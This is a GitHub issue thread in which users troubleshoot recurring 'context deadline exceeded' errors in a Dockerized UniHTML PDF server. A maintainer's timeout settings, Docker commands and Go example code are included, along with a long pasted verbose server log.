Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[BUG]contect exceed issue #14

Open
Veeraops opened this issue Mar 18, 2024 · 28 comments
Open

[BUG]contect exceed issue #14

Veeraops opened this issue Mar 18, 2024 · 28 comments

Comments

@Veeraops
Copy link

We are getting an issue context exceed issue on the production environment. Kindly help us to resolve this issue as soon as possible

@Veeraops
Copy link
Author

Hi Team/ @unidoc-build

Please help us to resolve this issue as soon as possible

@sampila
Copy link
Collaborator

sampila commented Mar 18, 2024

Hi @Veeraops,

You can try to set the document timeout like, the example is

       ...

       // Read the content of the simple.html file and load it to the conversion.
	doc, err := unihtml.NewDocument(os.Args[2])
	if err != nil {
		fmt.Printf("Err: NewDocument failed: %v\n", err)
		os.Exit(1)
	}
      
       doc.SetTimeoutDuration(5 * time.Minute)
      
      ...

API Reference https://apidocs.unidoc.io/unihtml/v0.6.0/github.com/unidoc/unihtml/#Document.SetTimeoutDuration

Or can set the default server timeout by adding argument default-timeout when running the docker, example

docker run -p 8080:8080 -e UNIHTML_LICENSE_PATH=path/to/license -e UNIHTML_CUSTOMER_NAME=customer_name unidoccloud/unihtml -default-timeout 5m

@sampila
Copy link
Collaborator

sampila commented Mar 23, 2024

Hi @Veeraops,

We closing this issue for now, you can re-open the issue if the solutions didn't resolve your issue.

@sampila sampila closed this as completed Mar 23, 2024
@HanumanthaRAON
Copy link

We are still encountering issues with UniHTML, receiving a 400 response code when attempting to call the following method:

POST \"http://10.10.50.128:8080/beta/pdf\": context deadline exceeded"

Below are the Docker container logs:

image

We have also observed 'resource temporarily unavailable' errors when attempting to execute any command inside the Docker container:

image

Could you please assist us in resolving this issue? It is impacting our production environment and affecting numerous users."

@sampila
Copy link
Collaborator

sampila commented Apr 1, 2024

Hi @HanumanthaRAON,

Could you give us some reproducible code snippet? so we can debug it on our ends.

Thanks

@sampila sampila reopened this Apr 1, 2024
@Veeraops
Copy link
Author

Veeraops commented Apr 1, 2024

@sampila
Below is the code snip-pit for reference. please check and do the needful.

document, err := unihtml.NewDocumentFromString(htmlString)
if err != nil {
log.Ctx(ctx).Error().Msgf("Failed to create UniHTML document: %v", err)
return err, nil
}

if err := pdf.Writer.Draw(document); err != nil {
log.Ctx(ctx).Error().Msgf("Failed to draw HTML onto PDF writer: %v", err)
return err, nil
}

@sampila
Copy link
Collaborator

sampila commented Apr 1, 2024

@Veeraops could you share the htmlString also?

@sampila
Copy link
Collaborator

sampila commented Apr 1, 2024

Have you tried to set the duration timeout for document? the code might be like this

  document, err := unihtml.NewDocumentFromString(htmlString)
  if err != nil {
    log.Ctx(ctx).Error().Msgf("Failed to create UniHTML document: %v", err)
    return err, nil
  }
  
  // Set the timeout duration to 5 minutes.
  document.SetTimeoutDuration(5*time.Minute)

  if err := pdf.Writer.Draw(document); err != nil {
    log.Ctx(ctx).Error().Msgf("Failed to draw HTML onto PDF writer: %v", err)
    return err, nil
  }

@Veeraops
Copy link
Author

Veeraops commented Apr 1, 2024

@sampila We have tried with below command which is suggested us on above
docker run -p 8080:8080 -e UNIHTML_LICENSE_PATH=path/to/license -e UNIHTML_CUSTOMER_NAME=customer_name unidoccloud/unihtml -default-timeout 5m

Also please find the below htmlstring code which we are using, some of the code added in the text file. please verify and help us to fix this issue as soon as possible
htmlString.txt

@sampila
Copy link
Collaborator

sampila commented Apr 1, 2024

@sampila We have tried with below command which is suggested us on above docker run -p 8080:8080 -e UNIHTML_LICENSE_PATH=path/to/license -e UNIHTML_CUSTOMER_NAME=customer_name unidoccloud/unihtml -default-timeout 5m

Also please find the below htmlstring code which we are using, some of the code added in the text file. please verify and help us to fix this issue as soon as possible htmlString.txt

Yes, I am checking this and in meantime, could you try the code I provided previously? setting the document timeout.

@sampila
Copy link
Collaborator

sampila commented Apr 1, 2024

Hi @Veeraops,

I tried to reproduce the issue, but after trying few times, I didn't encountered the timeout issue with or without setting the default time out for the docker image.

could you try to update the docker image of UniHTML to the latest one and update UniHTML version to v0.8.0 and checks if there's still an issue on your ends?

Run UniHTML docker image with default timeout

docker run -p 8080:8080 -e UNIDOC_METERED_API_KEY=$UNIDOC_LICENSE_API_KEY unidoccloud/unihtml --default-timeout 5m

Code Example

package main

import (
	"bytes"
	"fmt"
	"os"

	"github.com/unidoc/unihtml"
	"github.com/unidoc/unipdf/v3/common"
	"github.com/unidoc/unipdf/v3/common/license"
	"github.com/unidoc/unipdf/v3/creator"
)

func init() {
	// Make sure to load your metered License API key prior to using the library.
	// If you need a key, you can sign up and create a free one at https://cloud.unidoc.io
	err := license.SetMeteredKey(os.Getenv(`UNIDOC_LICENSE_API_KEY`))
	if err != nil {
		panic(err)
	}
	common.SetLogger(common.NewConsoleLogger(common.LogLevelInfo))
}

func main() {
	// UniHTML requires two arguments:
	// - Connection path to the unihtml-server i.e.: https://localhost:8080
	// - Input path for the file / directory to convert
	if len(os.Args) != 3 {
		fmt.Println("Err: provided invalid arguments. No UniHTML server path provided")
		os.Exit(1)
	}

	// Establish connection with the UniHTML Server.
	if err := unihtml.Connect(os.Args[1]); err != nil {
		fmt.Printf("Err:  Connect failed: %v\n", err)
		os.Exit(1)
	}

	// Get new PDF Creator.
	c := creator.New()
       
        // Read the HMTL file and change to string.
	htmlString := ""
	readBytes, err := os.ReadFile(os.Args[2])
	if err != nil {
		fmt.Printf("Err: ReadFile failed: %v\n", err)
		os.Exit(1)
	}

	buf := bytes.NewBuffer(readBytes)
	htmlString = buf.String()

	// Read the content of the `htmlString` and load it to the conversion.
	doc, err := unihtml.NewDocumentFromString(htmlString)
	if err != nil {
		fmt.Printf("Err: NewDocument failed: %v\n", err)
		os.Exit(1)
	}

	// Draw the html document file in the context of the creator.
	if err = c.Draw(doc); err != nil {
		fmt.Printf("Err: Draw failed: %v\n", err)
		os.Exit(1)
	}

	// Write the result file to PDF.
	if err = c.WriteToFile("document.pdf"); err != nil {
		fmt.Printf("Err: %v\n", err)
		os.Exit(1)
	}
}

Run the code

go run main.go http://localhost:8080 ./test.html

Files

test.html.txt

Output PDF

document.pdf

@Veeraops
Copy link
Author

Veeraops commented Apr 2, 2024

@sampila Could you please share the latest version of UniDocHML to run on our servers using Docker?

@sampila
Copy link
Collaborator

sampila commented Apr 2, 2024

@sampila Could you please share the latest version of UniDocHML to run on our servers using Docker?

This the link of UniHTML docker image https://hub.docker.com/r/unidoccloud/unihtml
Or can just run the command below to update the docker image UniHTML

docker pull unidoccloud/unihtml

@sampila
Copy link
Collaborator

sampila commented Apr 3, 2024

Hi @Veeraops and @HanumanthaRAON do this issue is resolved?

@Veeraops
Copy link
Author

Veeraops commented Apr 3, 2024

@sampila As of now, it is working, but after a few days, it's encountering the same error as below.
image

We need a permenant solution for this, could you please help

@sampila
Copy link
Collaborator

sampila commented Apr 3, 2024

@sampila As of now, it is working, but after a few days, it's encountering the same error as below. image

We need a permenant solution for this, could you please help

We are helping here, but without detailed code snippet, file to tests its hard for us also to reproduce the issue.

@Veeraops
Copy link
Author

Veeraops commented Apr 3, 2024

@sampila
We are also unable to reproduce the issue in a production environment. We don't encounter these types of issues in the Development and pre-production environments. Due to HIPPA compliance concerns, we cannot share the HTML string.

@sampila
Copy link
Collaborator

sampila commented Apr 3, 2024

@sampila We are also unable to reproduce the issue in a production environment. We don't encounter these types of issues in the Development and pre-production environments. Due to HIPPA compliance concerns, we cannot share the HTML string.

Do it's return timeout error? when looking at the logs, it's return the http 400 after around 15 seconds.
Probably try to enable verbose mode and checks the logs?

Docker command

docker run -p 8080:8080 -e UNIDOC_METERED_API_KEY=$UNIDOC_LICENSE_API_KEY unidoccloud/unihtml --default-timeout 5m --verbose

@Veeraops
Copy link
Author

Veeraops commented Apr 4, 2024

@sampila We have added --verbose flag, will reach you out if we are facing any issues with it. thanks a lot for the quick support

@Veeraops
Copy link
Author

Veeraops commented Apr 4, 2024

@sampila We can observe unihtml creating many zombi process. Is it known issue or Bug ? or is it contributing factor for resource temporarily unavailable. Please find the below screenshot for the more details. Please suggest to resolve this issue.
MicrosoftTeams-image

@sampila
Copy link
Collaborator

sampila commented Apr 4, 2024

@sampila We can observe unihtml creating many zombi process. Is it known issue or Bug ? or is it contributing factor for resource temporarily unavailable. Please find the below screenshot for the more details. Please suggest to resolve this issue. MicrosoftTeams-image

Not related to the resource unavailable, as you can see it is idle, not consuming any cpu or memory

@Veeraops
Copy link
Author

Veeraops commented Apr 8, 2024

@sampila We are encountering the same error within two days of executing the below command and added the log below .
Kindly check and help us to resolve this issue.

docker run -p 8080:8080 -e UNIDOC_METERED_API_KEY=$UNIDOC_LICENSE_API_KEY unidoccloud/unihtml --default-timeout 5m --verbose

@HanumanthaRAON
Copy link

Hi Team,

Now after restarting docker it is not working , previously it used work after restart. can someone get into call and help us as our production system is impacted.

Thanks,
Hanu

@sampila
Copy link
Collaborator

sampila commented Apr 8, 2024

Hi Team,

Now after restarting docker it is not working , previously it used work after restart. can someone get into call and help us as our production system is impacted.

Thanks, Hanu

What's the error message you get when running the docker? hard for us to guessing the issue.

@sampila
Copy link
Collaborator

sampila commented Apr 8, 2024

@sampila We are encountering the same error within two days of executing the below command and added the log below . Kindly check and help us to resolve this issue.

docker run -p 8080:8080 -e UNIDOC_METERED_API_KEY=$UNIDOC_LICENSE_API_KEY unidoccloud/unihtml --default-timeout 5m --verbose

[CHI] logger.go:150 "GET http://localhost:8081/e25866d3e342318caae696083499c1c1/index.html HTTP/1.1" from 127.0.0.1:34356 - 301 0B in 9.49µs [CHI] logger.go:150 "GET http://localhost:8081/e25866d3e342318caae696083499c1c1/ HTTP/1.1" from 127.0.0.1:34356 - 200 24673B in 151.042µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 298.835876ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/e25866d3e342318caae696083499c1c1/e25866d3e342318caae696083499c1c1.pdf [TRACE] cleaner.go:56 Added: /public/e25866d3e342318caae696083499c1c1 ExpiresIn: 2024-04-08 02:36:21 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 299.444713ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.15.109:50586 - 201 78664B in 300.925981ms [TRACE] queue.go:135 [PQ] Removed: /private/af8e070b47af73c8ceb41edf6ee6f49b ExpiresIn: 2024-04-08 02:33:48 +0000 UTC. 1712543628 [TRACE] queue.go:135 [PQ] Removed: /public/af8e070b47af73c8ceb41edf6ee6f49b ExpiresIn: 2024-04-08 02:33:48 +0000 UTC. 1712543628 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/af8e070b47af73c8ceb41edf6ee6f49b [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/af8e070b47af73c8ceb41edf6ee6f49b [TRACE] cleaner.go:72 CleanDaemon obtained: /public/af8e070b47af73c8ceb41edf6ee6f49b [TRACE] in-memory.go:48 Removed in-memory file: af8e070b47af73c8ceb41edf6ee6f49b.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/af8e070b47af73c8ceb41edf6ee6f49b [TRACE] queue.go:135 [PQ] Removed: /private/e25866d3e342318caae696083499c1c1 ExpiresIn: 2024-04-08 02:36:21 +0000 UTC. 1712543781 [TRACE] queue.go:135 [PQ] Removed: /public/e25866d3e342318caae696083499c1c1 ExpiresIn: 2024-04-08 02:36:21 +0000 UTC. 1712543781 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/e25866d3e342318caae696083499c1c1 [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/e25866d3e342318caae696083499c1c1 [TRACE] cleaner.go:72 CleanDaemon obtained: /public/e25866d3e342318caae696083499c1c1 [TRACE] in-memory.go:48 Removed in-memory file: e25866d3e342318caae696083499c1c1.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/e25866d3e342318caae696083499c1c1 [CHI] logger.go:150 "GET http://50.19.70.245:8080/ HTTP/1.1" from 198.235.24.149:62890 - 404 18B in 45.03µs [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.37.93:48056 - 200 0B in 44.271µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/f9a448757a5be2f3ceb2be1d7ec17899/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/f9a448757a5be2f3ceb2be1d7ec17899/index.html [TRACE] store.go:67 Open file: /private/f9a448757a5be2f3ceb2be1d7ec17899/index.html for writing [TRACE] cleaner.go:56 Added: /private/f9a448757a5be2f3ceb2be1d7ec17899 ExpiresIn: 2024-04-08 02:50:36 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/f9a448757a5be2f3ceb2be1d7ec17899/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/f9a448757a5be2f3ceb2be1d7ec17899/index.html [CHI] logger.go:150 "GET http://localhost:8081/f9a448757a5be2f3ceb2be1d7ec17899/index.html HTTP/1.1" from 127.0.0.1:51404 - 301 0B in 9.6µs [CHI] logger.go:150 "GET http://localhost:8081/f9a448757a5be2f3ceb2be1d7ec17899/ HTTP/1.1" from 127.0.0.1:51404 - 200 28486B in 157.862µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 341.465293ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/f9a448757a5be2f3ceb2be1d7ec17899/f9a448757a5be2f3ceb2be1d7ec17899.pdf [TRACE] cleaner.go:56 Added: /public/f9a448757a5be2f3ceb2be1d7ec17899 ExpiresIn: 2024-04-08 02:50:36 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 341.601934ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.37.93:48056 - 201 108976B in 342.81159ms [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.4.133:40390 - 200 0B in 38.83µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/2439553058706c551e4bfbebda277e85/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/2439553058706c551e4bfbebda277e85/index.html [TRACE] store.go:67 Open file: /private/2439553058706c551e4bfbebda277e85/index.html for writing [TRACE] cleaner.go:56 Added: /private/2439553058706c551e4bfbebda277e85 ExpiresIn: 2024-04-08 02:51:19 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/2439553058706c551e4bfbebda277e85/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/2439553058706c551e4bfbebda277e85/index.html [CHI] logger.go:150 "GET http://localhost:8081/2439553058706c551e4bfbebda277e85/index.html HTTP/1.1" from 127.0.0.1:47658 - 301 0B in 11.74µs [CHI] logger.go:150 "GET http://localhost:8081/2439553058706c551e4bfbebda277e85/ HTTP/1.1" from 127.0.0.1:47658 - 200 24697B in 169.172µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 285.937759ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/2439553058706c551e4bfbebda277e85/2439553058706c551e4bfbebda277e85.pdf [TRACE] cleaner.go:56 Added: /public/2439553058706c551e4bfbebda277e85 ExpiresIn: 2024-04-08 02:51:19 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 286.08189ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.4.133:40390 - 201 78864B in 287.541859ms [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.24.181:52808 - 200 0B in 41.771µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/03f3fe84a65a6d47e0c33e15e8509394/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/03f3fe84a65a6d47e0c33e15e8509394/index.html [TRACE] store.go:67 Open file: /private/03f3fe84a65a6d47e0c33e15e8509394/index.html for writing [TRACE] cleaner.go:56 Added: /private/03f3fe84a65a6d47e0c33e15e8509394 ExpiresIn: 2024-04-08 02:54:29 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/03f3fe84a65a6d47e0c33e15e8509394/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/03f3fe84a65a6d47e0c33e15e8509394/index.html [CHI] logger.go:150 "GET http://localhost:8081/03f3fe84a65a6d47e0c33e15e8509394/index.html HTTP/1.1" from 127.0.0.1:58698 - 301 0B in 12.13µs [CHI] logger.go:150 "GET http://localhost:8081/03f3fe84a65a6d47e0c33e15e8509394/ HTTP/1.1" from 127.0.0.1:58698 - 200 91821B in 241.313µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 372.610602ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/03f3fe84a65a6d47e0c33e15e8509394/03f3fe84a65a6d47e0c33e15e8509394.pdf [TRACE] cleaner.go:56 Added: /public/03f3fe84a65a6d47e0c33e15e8509394 ExpiresIn: 2024-04-08 02:54:29 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 373.019857ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.24.181:52808 - 201 133849B in 375.347565ms [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.4.133:44658 - 200 0B in 42.101µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/d756d2eab535be4f907dc7bcdbd89b67/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/d756d2eab535be4f907dc7bcdbd89b67/index.html [TRACE] store.go:67 Open file: /private/d756d2eab535be4f907dc7bcdbd89b67/index.html for writing [TRACE] cleaner.go:56 Added: /private/d756d2eab535be4f907dc7bcdbd89b67 ExpiresIn: 2024-04-08 02:54:48 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/d756d2eab535be4f907dc7bcdbd89b67/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/d756d2eab535be4f907dc7bcdbd89b67/index.html [CHI] logger.go:150 "GET http://localhost:8081/d756d2eab535be4f907dc7bcdbd89b67/index.html HTTP/1.1" from 127.0.0.1:38070 - 301 0B in 11.62µs [CHI] logger.go:150 "GET http://localhost:8081/d756d2eab535be4f907dc7bcdbd89b67/ HTTP/1.1" from 127.0.0.1:38070 - 200 91877B in 190.042µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 375.160597ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/d756d2eab535be4f907dc7bcdbd89b67/d756d2eab535be4f907dc7bcdbd89b67.pdf [TRACE] cleaner.go:56 Added: /public/d756d2eab535be4f907dc7bcdbd89b67 ExpiresIn: 2024-04-08 02:54:48 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 375.341599ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.4.133:44658 - 201 134391B in 378.381057ms [TRACE] queue.go:135 [PQ] Removed: /private/f9a448757a5be2f3ceb2be1d7ec17899 ExpiresIn: 2024-04-08 02:50:36 +0000 UTC. 1712544636 [TRACE] queue.go:135 [PQ] Removed: /public/f9a448757a5be2f3ceb2be1d7ec17899 ExpiresIn: 2024-04-08 02:50:36 +0000 UTC. 1712544636 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/f9a448757a5be2f3ceb2be1d7ec17899 [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/f9a448757a5be2f3ceb2be1d7ec17899 [TRACE] cleaner.go:72 CleanDaemon obtained: /public/f9a448757a5be2f3ceb2be1d7ec17899 [TRACE] in-memory.go:48 Removed in-memory file: f9a448757a5be2f3ceb2be1d7ec17899.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/f9a448757a5be2f3ceb2be1d7ec17899 [TRACE] queue.go:135 [PQ] Removed: /public/2439553058706c551e4bfbebda277e85 ExpiresIn: 2024-04-08 02:51:19 +0000 UTC. 1712544679 [TRACE] queue.go:135 [PQ] Removed: /private/2439553058706c551e4bfbebda277e85 ExpiresIn: 2024-04-08 02:51:19 +0000 UTC. 1712544679 [TRACE] cleaner.go:72 CleanDaemon obtained: /public/2439553058706c551e4bfbebda277e85 [TRACE] in-memory.go:48 Removed in-memory file: 2439553058706c551e4bfbebda277e85.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/2439553058706c551e4bfbebda277e85 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/2439553058706c551e4bfbebda277e85 [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/2439553058706c551e4bfbebda277e85 [TRACE] queue.go:135 [PQ] Removed: /private/03f3fe84a65a6d47e0c33e15e8509394 ExpiresIn: 2024-04-08 02:54:29 +0000 UTC. 1712544869 [TRACE] queue.go:135 [PQ] Removed: /public/03f3fe84a65a6d47e0c33e15e8509394 ExpiresIn: 2024-04-08 02:54:29 +0000 UTC. 1712544869 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/03f3fe84a65a6d47e0c33e15e8509394 [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/03f3fe84a65a6d47e0c33e15e8509394 [TRACE] cleaner.go:72 CleanDaemon obtained: /public/03f3fe84a65a6d47e0c33e15e8509394 [TRACE] in-memory.go:48 Removed in-memory file: 03f3fe84a65a6d47e0c33e15e8509394.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/03f3fe84a65a6d47e0c33e15e8509394 [TRACE] queue.go:135 [PQ] Removed: /public/d756d2eab535be4f907dc7bcdbd89b67 ExpiresIn: 2024-04-08 02:54:48 +0000 UTC. 1712544888 [TRACE] queue.go:135 [PQ] Removed: /private/d756d2eab535be4f907dc7bcdbd89b67 ExpiresIn: 2024-04-08 02:54:48 +0000 UTC. 1712544888 [TRACE] cleaner.go:72 CleanDaemon obtained: /public/d756d2eab535be4f907dc7bcdbd89b67 [TRACE] in-memory.go:48 Removed in-memory file: d756d2eab535be4f907dc7bcdbd89b67.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/d756d2eab535be4f907dc7bcdbd89b67 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/d756d2eab535be4f907dc7bcdbd89b67 [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/d756d2eab535be4f907dc7bcdbd89b67 [CHI] logger.go:150 "CONNECT http://example.com:80example.com:80 HTTP/1.1" from 185.224.128.17:49576 - 404 18B in 41.431µs [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.15.109:50016 - 200 0B in 49.14µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/6dc905800223549343cf8b604a70c295/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/6dc905800223549343cf8b604a70c295/index.html [TRACE] store.go:67 Open file: /private/6dc905800223549343cf8b604a70c295/index.html for writing [TRACE] cleaner.go:56 Added: /private/6dc905800223549343cf8b604a70c295 ExpiresIn: 2024-04-08 03:17:40 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/6dc905800223549343cf8b604a70c295/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/6dc905800223549343cf8b604a70c295/index.html [CHI] logger.go:150 "GET http://localhost:8081/6dc905800223549343cf8b604a70c295/index.html HTTP/1.1" from 127.0.0.1:37850 - 301 0B in 9.22µs [CHI] logger.go:150 "GET http://localhost:8081/6dc905800223549343cf8b604a70c295/ HTTP/1.1" from 127.0.0.1:37850 - 200 21174B in 134.502µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 344.610584ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/6dc905800223549343cf8b604a70c295/6dc905800223549343cf8b604a70c295.pdf [TRACE] cleaner.go:56 Added: /public/6dc905800223549343cf8b604a70c295 ExpiresIn: 2024-04-08 03:17:40 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 344.778077ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.15.109:50016 - 201 116358B in 346.026235ms [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.24.181:54940 - 200 0B in 46.24µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/00ca7577e746c1f3130fca9a98501ae9/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/00ca7577e746c1f3130fca9a98501ae9/index.html [TRACE] store.go:67 Open file: /private/00ca7577e746c1f3130fca9a98501ae9/index.html for writing [TRACE] cleaner.go:56 Added: /private/00ca7577e746c1f3130fca9a98501ae9 ExpiresIn: 2024-04-08 03:21:31 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/00ca7577e746c1f3130fca9a98501ae9/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/00ca7577e746c1f3130fca9a98501ae9/index.html [CHI] logger.go:150 "GET http://localhost:8081/00ca7577e746c1f3130fca9a98501ae9/index.html HTTP/1.1" from 127.0.0.1:36466 - 301 0B in 12.06µs [CHI] logger.go:150 "GET http://localhost:8081/00ca7577e746c1f3130fca9a98501ae9/ HTTP/1.1" from 127.0.0.1:36466 - 200 21278B in 158.942µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 332.434571ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/00ca7577e746c1f3130fca9a98501ae9/00ca7577e746c1f3130fca9a98501ae9.pdf [TRACE] cleaner.go:56 Added: /public/00ca7577e746c1f3130fca9a98501ae9 ExpiresIn: 2024-04-08 03:21:31 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 332.596503ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.24.181:54940 - 201 114768B in 333.838147ms [CHI] logger.go:150 "GET http:/// HTTP/1.0" from 205.210.31.19:57088 - 404 18B in 42.53µs [TRACE] queue.go:135 [PQ] Removed: /private/6dc905800223549343cf8b604a70c295 ExpiresIn: 2024-04-08 03:17:40 +0000 UTC. 1712546260 [TRACE] queue.go:135 [PQ] Removed: /public/6dc905800223549343cf8b604a70c295 